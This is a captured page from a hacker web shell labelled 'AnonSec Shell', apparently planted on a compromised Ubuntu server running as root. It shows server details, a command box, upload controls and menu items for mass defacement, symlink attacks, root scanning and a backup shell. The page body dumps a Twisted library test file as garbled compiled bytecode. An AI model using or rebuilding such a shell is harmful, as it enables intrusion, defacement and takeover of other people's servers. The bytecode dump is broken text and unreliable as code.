AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.128   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/application/twist/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/application/twist/test/__pycache__/test_options.cpython-310.pyc
o

�b�,�@s�dZddlmZmZddlmZmZmZmZm	Z	m
Z
ddlZddl
mZddlmZddlmZddlmZmZmZmZdd	lmZdd
lmZddlmZdd
lmZddl m!Z!ddl"m#Z#ddl$m%Z%ddl%m&Z&Gdd�dej'j(j)�Z*dS)z2
Tests for L{twisted.application.twist._options}.
�)�stderr�stdout)�Callable�Dict�List�Optional�TextIO�TupleN)�version)�reactor)�IReactorCore)�FileLogObserver�LogLevel�jsonFileLogObserver�textFileLogObserver)�
UsageError)�
MemoryReactor�)�
NoSuchReactor)�
ExitStatus)�	DummyExit)�ServiceMaker)�_options�)�TwistOptionsc@sJeZdZdZd@dd�Zd@dd�Zd@dd	�Zd@d
d�Zd@dd
�Zd@dd�Z	d@dd�Z
d@dd�Zd@dd�Zd@dd�Z
d@dd�Zdededdfdd�Zd@dd�Zd@d d!�Zd@d"d#�Zd@d$d%�Zd&ed'eegefddfd(d)�Zd@d*d+�Zd@d,d-�Zd@d.d/�Zd@d0d1�Zd@d2d3�Zd@d4d5�Zd@d6d7�Zd@d8d9�Z d@d:d;�Z!d@d<d=�Z"d@d>d?�Z#dS)A�OptionsTestsz$
    Tests for L{TwistOptions}.
    �returnNcCst�|_|�td|j�dS)zX
        Patch L{_twist.exit} so we can capture usage and prevent actual exits.
        �exitN)rr�patchr��self�r!�M/usr/lib/python3/dist-packages/twisted/application/twist/test/test_options.py�	patchExit$szOptionsTests.patchExitcs8g�_ddtdttdtf�fdd�
}��td|�dS)	zZ
        Patch L{_options.open} so we can capture usage and prevent actual opens.
        N�name�modercs(|dkr
tdd|���j�||f�tS)N�	nocanopen)�OSError�opened�append�NotImplemented)r$r%rr!r"�fakeOpen1sz(OptionsTests.patchOpen.<locals>.fakeOpen�openFile)N)r(�strrrrr)r r+r!rr"�	patchOpen+s zOptionsTests.patchOpencs.i�_dtdtf�fdd�}��td|�dS)zo
        Patch C{_options.installReactor} so we can capture usage and prevent
        actual installs.
        r$rcs"|dkrt��t�}|�j|<|S)N�fusion)rr�installedReactors)r$rrr!r"�installReactorAs

z8OptionsTests.patchInstallReactor.<locals>.installReactorr1N)r0r-rrr)r r1r!rr"�patchInstallReactor:sz OptionsTests.patchInstallReactorcCst�}|�|���d��dS)z@
        L{TwistOptions.getSynopsis} appends arguments.
        z plugin [plugin_options]N)r�
assertTrue�getSynopsis�endswith�r �optionsr!r!r"�
test_synopsisKszOptionsTests.test_synopsiscCs<|��t�}|��|�|jjtj�|�|jjt	�dS)zl
        L{TwistOptions.opt_version} exits with L{ExitStatus.EX_OK} and prints
        the version.
        N)
r#r�opt_version�assertEqualsr�statusr�EX_OK�messager
r6r!r!r"�test_versionSs
zOptionsTests.test_versioncCs@|��t�}|�d�|�t|j�dh�|�|dd�dS)zo
        L{TwistOptions.installReactor} installs the chosen reactor and sets
        the reactor name.
        r/�reactorNameN)r2r�opt_reactor�assertEqual�setr0r:r6r!r!r"�test_reactor`s

zOptionsTests.test_reactorcCs8|��t�}d|_|�dg�|�t|j�dh�dS)z�
        L{TwistOptions.installReactor} installs the chosen reactor after the
        command line options have been parsed.
        ztest-subcommandz--reactor=fusionr/N)r2r�
subCommand�parseOptionsrArBr0r6r!r!r"�test_installCorrectReactorms
z'OptionsTests.test_installCorrectReactorcCs"|��t�}|�t|jd�dS)zn
        L{TwistOptions.installReactor} raises UsageError if an unknown reactor
        is specified.
        �coalN)r2r�assertRaisesrr@r6r!r!r"�test_installReactorBoguszsz%OptionsTests.test_installReactorBoguscCst�}|�t|�d��dS)z�
        L{TwistOptions.installReactor} returns the currently installed reactor
        when the default reactor name is specified.
        �defaultN)r�assertIdenticalrr1r6r!r!r"�test_installReactorDefault�sz'OptionsTests.test_installReactorDefaultcCs&t�}|�d�|�|dtj�dS)zQ
        L{TwistOptions.opt_log_level} sets the corresponding log level.
        �warn�logLevelN)r�
opt_log_levelrKrrMr6r!r!r"�test_logLevelValid�s
zOptionsTests.test_logLevelValidcC�t�}|�t|jd�dS)zi
        L{TwistOptions.opt_log_level} with an invalid log level name raises
        UsageError.
        �cheeseN)rrHrrOr6r!r!r"�test_logLevelInvalid��z!OptionsTests.test_logLevelInvalidr$�expectedStreamcCs$t�}|�|�|�|d|�dS)z�
        Set log file name and check the selected output stream.

        @param name: The name of the file.
        @param expectedStream: The expected stream.
        �logFileN)r�opt_log_filerK)r r$rUr7r!r!r"�_testLogFile�s
zOptionsTests._testLogFilecC�|�dt�dS)zW
        L{TwistOptions.opt_log_file} given C{"-"} as a file name uses stdout.
        �-N)rXrrr!r!r"�test_logFileStdout��zOptionsTests.test_logFileStdoutcCrY)zW
        L{TwistOptions.opt_log_file} given C{"+"} as a file name uses stderr.
        �+N)rXrrr!r!r"�test_logFileStderr�r\zOptionsTests.test_logFileStderrcCs,|��t�}|�d�|�dg|j�dS)zX
        L{TwistOptions.opt_log_file} opens the given file name in append mode.
        �mylog)r_�aN)r.rrWrAr(r6r!r!r"�test_logFileNamed�s
zOptionsTests.test_logFileNamedcCsX|��|��t�}|�d�|�|jjtj�|�	|jj
�|�|jj
�d��dS)z�
        L{TwistOptions.opt_log_file} exits with L{ExitStatus.EX_IOERR} if
        unable to open the log file due to an L{EnvironmentError}.
        r&z%Unable to open log file 'nocanopen': N)
r#r.rrWr:rr;r�EX_IOERR�assertIsNotNoner=r3�
startswithr6r!r!r"�test_logFileCantOpen�s
��z!OptionsTests.test_logFileCantOpen�format�expectedObserverFactorycCs4t�}|�|�|�|d|�|�|d|�dS)z�
        Set log file format and check the selected observer factory.

        @param format: The format of the file.
        @param expectedObserverFactory: The expected observer factory.
        �fileLogObserverFactory�	logFormatN)r�opt_log_formatrKrA)r rfrgr7r!r!r"�_testLogFormat�s	
zOptionsTests._testLogFormatcCrY)�g
        L{TwistOptions.opt_log_format} given C{"text"} uses a
        L{textFileLogObserver}.
        �textN)rkrrr!r!r"�test_logFormatText��zOptionsTests.test_logFormatTextcCrY)rl�jsonN)rkrrr!r!r"�test_logFormatJSON�rozOptionsTests.test_logFormatJSONcCrQ)zk
        L{TwistOptions.opt_log_format} given an invalid format name raises
        L{UsageError}.
        �frommageN)rrHrrjr6r!r!r"�test_logFormatInvalid�rTz"OptionsTests.test_logFormatInvalidcCsN|��t�}|�d�|�d�|��|�|dt�|�|dd�dS)�r
        L{TwistOptions.selectDefaultLogObserver} will not override an already
        selected observer.
        rm�quesorhriN)r.rrjrW�selectDefaultLogObserverrKrrAr6r!r!r"�'test_selectDefaultLogObserverNoOverride�s

z4OptionsTests.test_selectDefaultLogObserverNoOverridecCsZGdd�d�}|�td|��t�}|�d�|��|�|dt�|�|dd�dS)	rtc@seZdZdefdd�ZdS)zIOptionsTests.test_selectDefaultLogObserverDefaultWithTTY.<locals>.TTYFilercSsdS)NTr!rr!r!r"�isattyszPOptionsTests.test_selectDefaultLogObserverDefaultWithTTY.<locals>.TTYFile.isattyN)�__name__�
__module__�__qualname__�boolrxr!r!r!r"�TTYFilesr}rrZrhrirmN)rrrrWrvrKrrA)r r}r7r!r!r"�+test_selectDefaultLogObserverDefaultWithTTYs
z8OptionsTests.test_selectDefaultLogObserverDefaultWithTTYcCsD|��t�}|�d�|��|�|dt�|�|dd�dS)rtrurhrirpN)r.rrWrvrKrrAr6r!r!r"�.test_selectDefaultLogObserverDefaultWithoutTTYs
z;OptionsTests.test_selectDefaultLogObserverDefaultWithoutTTYcCs6t�}|j}|D]}|�|t�|�||t�qdS)zM
        L{TwistOptions.plugins} is a mapping of available plug-ins.
        N)r�plugins�assertIsInstancer-r)r r7r�r$r!r!r"�test_pluginsType-s�zOptionsTests.test_pluginsTypecCst�}|�d|j�dS)z�
        L{TwistOptions.plugins} includes a C{"web"} plug-in.
        This is an attempt to verify that something we expect to be in the list
        is in there without enumerating all of the built-in plug-ins.
        �webN)r�assertInr�r6r!r!r"�test_pluginsIncludeWeb8sz#OptionsTests.test_pluginsIncludeWebcCsPt�}|jD]\}}}}|�|t�|�|d�|�t|��|�|t�qdS)z~
        L{TwistOptions.subCommands} is an iterable of tuples as expected by
        L{twisted.python.usage.Options}.
        N)r�subCommandsr�r-rKr3�callable)r r7r$�shortcut�parser�docr!r!r"�test_subCommandsTypeBs�z!OptionsTests.test_subCommandsTypecCs0t�}t|j�}dd�|jD�}|�||�dS)zW
        L{TwistOptions.subCommands} includes a sub-command for every plug-in.
        cSsh|]\}}}}|�qSr!r!)�.0r$r�r�r�r!r!r"�	<setcomp>Vsz:OptionsTests.test_subCommandsIncludeWeb.<locals>.<setcomp>N)rrBr�r�rA)r r7r�r�r!r!r"�test_subCommandsIncludeWebOs
z'OptionsTests.test_subCommandsIncludeWebcCs |��t�}|�t|j�dS)zd
        L{TwistOptions.postOptions} raises L{UsageError} is it has no
        sub-command.
        N)r2rrHr�postOptionsr6r!r!r"�test_postOptionsNoSubCommandZsz)OptionsTests.test_postOptionsNoSubCommand)rN)$ryrzr{�__doc__r#r.r2r8r>rCrFrIrLrPrSr-rrXr[r^rarerr
rkrnrqrsrwr~rr�r�r�r�r�r!r!r!r"rsH











		



��
�



	







r)+r��sysrr�typingrrrrrr	�twisted.trial.unittest�twisted�twisted.copyrightr
�twisted.internetr�twisted.internet.interfacesr�twisted.loggerr
rrr�twisted.python.usager�twisted.test.proto_helpersr�reactorsr�runner._exitr�runner.test.test_runnerr�servicer�twistrr�trial�unittest�TestCaserr!r!r!r"�<module>s" 

Anon7 - 2022
AnonSec Team